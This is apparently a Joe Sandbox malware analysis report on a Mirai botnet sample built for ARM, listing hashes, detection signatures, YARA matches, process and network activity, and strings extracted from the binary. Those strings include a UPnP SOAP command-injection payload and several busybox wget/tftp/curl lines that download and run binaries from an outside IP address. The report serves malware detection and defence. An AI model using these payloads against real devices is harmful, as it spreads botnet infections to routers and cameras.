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Linux Analysis Report
bin.armv6l.elf

Overview

General Information

Sample name:bin.armv6l.elf
Analysis ID:1538202
MD5:ace32e567dc1d0e4f5370424f7f096ff
SHA1:3f03061312abad9d6f57cac7645bee4d18ffb64d
SHA256:4f8dbb104c0afbb34aa25cbd0211edcb9cd732b442e02150f980b053ff72be2c
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:80
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1538202
Start date and time:2024-10-20 19:56:05 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 35s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:bin.armv6l.elf
Detection:MAL
Classification:mal80.troj.linELF@0/0@0/0
  • VT rate limit hit for: bin.armv6l.elf
Command:/tmp/bin.armv6l.elf
PID:6237
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
The mushi are out today
The mushi are out today
Standard Error:
  • system is lnxubuntu20
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
bin.armv6l.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    bin.armv6l.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      6237.1.00007f49e0017000.00007f49e0044000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
        6237.1.00007f49e0017000.00007f49e0044000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          6237.1.00007f49e0017000.00007f49e0044000.r-x.sdmpMAL_ELF_LNX_Mirai_Oct10_1Detects ELF Mirai variantFlorian Roth
          • 0x2a348:$x2: /bin/busybox chmod 777 * /tmp/
          • 0x2a0b0:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
          6261.1.00007f49e0017000.00007f49e0044000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
            6261.1.00007f49e0017000.00007f49e0044000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
              Click to see the 7 entries
              No Suricata rule has matched

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Source: bin.armv6l.elfAvira: detected
              Source: bin.armv6l.elfReversingLabs: Detection: 60%
              Source: bin.armv6l.elfString: Killed process %d (path: %s) because it matched kill string "%s" in path_kill_strings.Killed process %d (command line: %s) because it matched kill string "%s" in cmdline_kill_strings./proc/%d/stat%dMUSHI_KILLER/proc/root/tmp/varcurlwgetftpscp
              Source: bin.armv6l.elfString: /bin/busyboxenableshellshlinuxshellping ;shusage: busyboxreps.check-host.co/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
              Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
              Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
              Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
              Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
              Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
              Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
              Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
              Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
              Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
              Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
              Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
              Source: bin.armv6l.elfString found in binary or memory: http:///curl.sh
              Source: bin.armv6l.elfString found in binary or memory: http:///wget.sh
              Source: bin.armv6l.elfString found in binary or memory: http://178.215.238.13/bin.armv4l;chmod
              Source: bin.armv6l.elfString found in binary or memory: http://178.215.238.13/bin.armv7l;chmod
              Source: bin.armv6l.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
              Source: bin.armv6l.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
              Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443

              System Summary

              barindex
              Source: 6237.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORYMatched rule: Detects ELF Mirai variant Author: Florian Roth
              Source: 6261.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORYMatched rule: Detects ELF Mirai variant Author: Florian Roth
              Source: 6263.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORYMatched rule: Detects ELF Mirai variant Author: Florian Roth
              Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 178.215.238.13 -l /tmp/.unstable -r /bin.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: Initial sampleString containing 'busybox' found: /bin/busybox
              Source: Initial sampleString containing 'busybox' found: usage: busybox
              Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname PBOC
              Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
              Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
              Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
              Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
              Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
              Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
              Source: Initial sampleString containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busyboxreps.check-host.co/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
              Source: Initial sampleString containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
              Source: ELF static info symbol of initial sample.symtab present: no
              Source: 6237.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORYMatched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
              Source: 6261.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORYMatched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
              Source: 6263.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORYMatched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
              Source: classification engineClassification label: mal80.troj.linELF@0/0@0/0
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1582/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1582/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/3088/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/3088/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/230/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/230/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/110/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/110/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/231/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/231/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/111/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/111/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/232/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/232/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1579/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1579/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/112/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/112/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/233/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/233/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1699/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1699/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/113/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/113/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/234/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/234/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1335/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1335/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1698/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1698/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/114/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/114/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/235/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/235/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1334/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1334/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1576/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1576/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/2302/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/2302/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/115/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/115/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/236/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/236/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/116/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/116/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/237/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/237/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/117/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/117/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/118/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/118/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/910/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/910/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/119/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/119/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/912/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/912/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/10/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/10/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/2307/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/2307/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/11/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/11/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/918/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/918/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/12/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/12/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/13/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/13/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/14/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/14/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/15/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/15/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/16/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/16/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/17/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/17/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/18/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/18/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1594/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1594/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/120/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/120/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/121/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/121/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1349/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1349/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/1/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/122/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/122/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/243/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/243/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/123/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/123/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/2/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/2/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/124/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/124/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/3/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/3/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/4/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/4/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/125/statJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)File opened: /proc/125/cmdlineJump to behavior
              Source: /tmp/bin.armv6l.elf (PID: 6237)Queries kernel information via 'uname': Jump to behavior
              Source: bin.armv6l.elf, 6237.1.00005604a1558000.00005604a16a7000.rw-.sdmp, bin.armv6l.elf, 6261.1.00005604a1558000.00005604a16a7000.rw-.sdmp, bin.armv6l.elf, 6263.1.00005604a1558000.00005604a16a7000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
              Source: bin.armv6l.elf, 6237.1.00005604a1558000.00005604a16a7000.rw-.sdmp, bin.armv6l.elf, 6261.1.00005604a1558000.00005604a16a7000.rw-.sdmp, bin.armv6l.elf, 6263.1.00005604a1558000.00005604a16a7000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/arm
              Source: bin.armv6l.elf, 6237.1.00007ffeafccc000.00007ffeafced000.rw-.sdmp, bin.armv6l.elf, 6261.1.00007ffeafccc000.00007ffeafced000.rw-.sdmp, bin.armv6l.elf, 6263.1.00007ffeafccc000.00007ffeafced000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
              Source: bin.armv6l.elf, 6237.1.00007ffeafccc000.00007ffeafced000.rw-.sdmp, bin.armv6l.elf, 6261.1.00007ffeafccc000.00007ffeafced000.rw-.sdmp, bin.armv6l.elf, 6263.1.00007ffeafccc000.00007ffeafced000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/bin.armv6l.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/bin.armv6l.elf
              Source: bin.armv6l.elf, 6263.1.00007ffeafccc000.00007ffeafced000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

              Stealing of Sensitive Information

              barindex
              Source: Yara matchFile source: bin.armv6l.elf, type: SAMPLE
              Source: Yara matchFile source: 6237.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: 6261.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: 6263.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: bin.armv6l.elf PID: 6237, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: bin.armv6l.elf PID: 6261, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: bin.armv6l.elf PID: 6263, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Source: Yara matchFile source: bin.armv6l.elf, type: SAMPLE
              Source: Yara matchFile source: 6237.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: 6261.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: 6263.1.00007f49e0017000.00007f49e0044000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: bin.armv6l.elf PID: 6237, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: bin.armv6l.elf PID: 6261, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: bin.armv6l.elf PID: 6263, type: MEMORYSTR
              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information1
              Scripting
              Valid AccountsWindows Management Instrumentation1
              Scripting
              Path InterceptionDirect Volume Access1
              OS Credential Dumping
              11
              Security Software Discovery
              Remote ServicesData from Local System1
              Encrypted Channel
              Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
              Application Layer Protocol
              Exfiltration Over BluetoothNetwork Denial of Service
              No configs have been found
              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Number of created Files
              • Is malicious
              • Internet
              SourceDetectionScannerLabelLink
              bin.armv6l.elf61%ReversingLabsLinux.Trojan.Mirai
              bin.armv6l.elf100%AviraEXP/ELF.Mirai.W
              No Antivirus matches
              No Antivirus matches
              SourceDetectionScannerLabelLink
              http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
              http://schemas.xmlsoap.org/soap/envelope/0%URL Reputationsafe
              No contacted domains info
              NameSourceMaliciousAntivirus DetectionReputation
              http://178.215.238.13/bin.armv7l;chmodbin.armv6l.elffalse
                unknown
                http://schemas.xmlsoap.org/soap/encoding/bin.armv6l.elffalse
                • URL Reputation: safe
                unknown
                http:///wget.shbin.armv6l.elffalse
                  unknown
                  http:///curl.shbin.armv6l.elffalse
                    unknown
                    http://178.215.238.13/bin.armv4l;chmodbin.armv6l.elffalse
                      unknown
                      http://schemas.xmlsoap.org/soap/envelope/bin.armv6l.elffalse
                      • URL Reputation: safe
                      unknown
                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs
                      IPDomainCountryFlagASNASN NameMalicious
                      109.202.202.202
                      unknownSwitzerland
                      13030INIT7CHfalse
                      91.189.91.43
                      unknownUnited Kingdom
                      41231CANONICAL-ASGBfalse
                      91.189.91.42
                      unknownUnited Kingdom
                      41231CANONICAL-ASGBfalse
                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
                      • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
                      91.189.91.43mips.elfGet hashmaliciousGafgyt, MiraiBrowse
                        mipsel.elfGet hashmaliciousGafgyt, MiraiBrowse
                          bin.x86_64.elfGet hashmaliciousGafgyt, MiraiBrowse
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                                      sshd.elfGet hashmaliciousUnknownBrowse
                                        dc.elfGet hashmaliciousGafgyt, MiraiBrowse
                                          91.189.91.42mips.elfGet hashmaliciousGafgyt, MiraiBrowse
                                            mipsel.elfGet hashmaliciousGafgyt, MiraiBrowse
                                              bin.x86_64.elfGet hashmaliciousGafgyt, MiraiBrowse
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                                                              No context
                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                              CANONICAL-ASGBmips.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 91.189.91.42
                                                              mipsel.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 91.189.91.42
                                                              bin.x86_64.elfGet hashmaliciousGafgyt, MiraiBrowse
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                                                              bin.armv5l.elfGet hashmaliciousGafgyt, MiraiBrowse
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                                                              586.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 91.189.91.42
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                                                              • 91.189.91.42
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                                                              • 185.125.190.26
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                                                              • 91.189.91.42
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                                                              CANONICAL-ASGBmips.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 91.189.91.42
                                                              mipsel.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 91.189.91.42
                                                              bin.x86_64.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 91.189.91.42
                                                              bin.armv5l.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 91.189.91.42
                                                              586.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 91.189.91.42
                                                              tftp.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
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                                                              • 91.189.91.42
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                                                              • 185.125.190.26
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                                                              • 91.189.91.42
                                                              sshd.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              INIT7CHmips.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 109.202.202.202
                                                              mipsel.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 109.202.202.202
                                                              bin.x86_64.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                              • 109.202.202.202
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                                                              • 109.202.202.202
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                                                              • 109.202.202.202
                                                              tftp.elfGet hashmaliciousUnknownBrowse
                                                              • 109.202.202.202
                                                              .i.elfGet hashmaliciousUnknownBrowse
                                                              • 109.202.202.202
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                                                              • 109.202.202.202
                                                              sshd.elfGet hashmaliciousUnknownBrowse
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                                                              • 109.202.202.202
                                                              No context
                                                              No context
                                                              No created / dropped files found
                                                              File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                                                              Entropy (8bit):5.831671375530782
                                                              TrID:
                                                              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                              File name:bin.armv6l.elf
                                                              File size:209'748 bytes
                                                              MD5:ace32e567dc1d0e4f5370424f7f096ff
                                                              SHA1:3f03061312abad9d6f57cac7645bee4d18ffb64d
                                                              SHA256:4f8dbb104c0afbb34aa25cbd0211edcb9cd732b442e02150f980b053ff72be2c
                                                              SHA512:1800cf184bc2f5cd8c5f8de1fbd42aa327614fe4c3ff5f85ca522b93e706fa12759cb3bfc956d584d7af595063f2a096843419f2fa927a06e3ab985d66cfa6e3
                                                              SSDEEP:6144:3OKz6o9dXhLlqF+4aXLMIGanetwcz7RjmJe:3hz6cdXJlP4aXxvet9zdjm
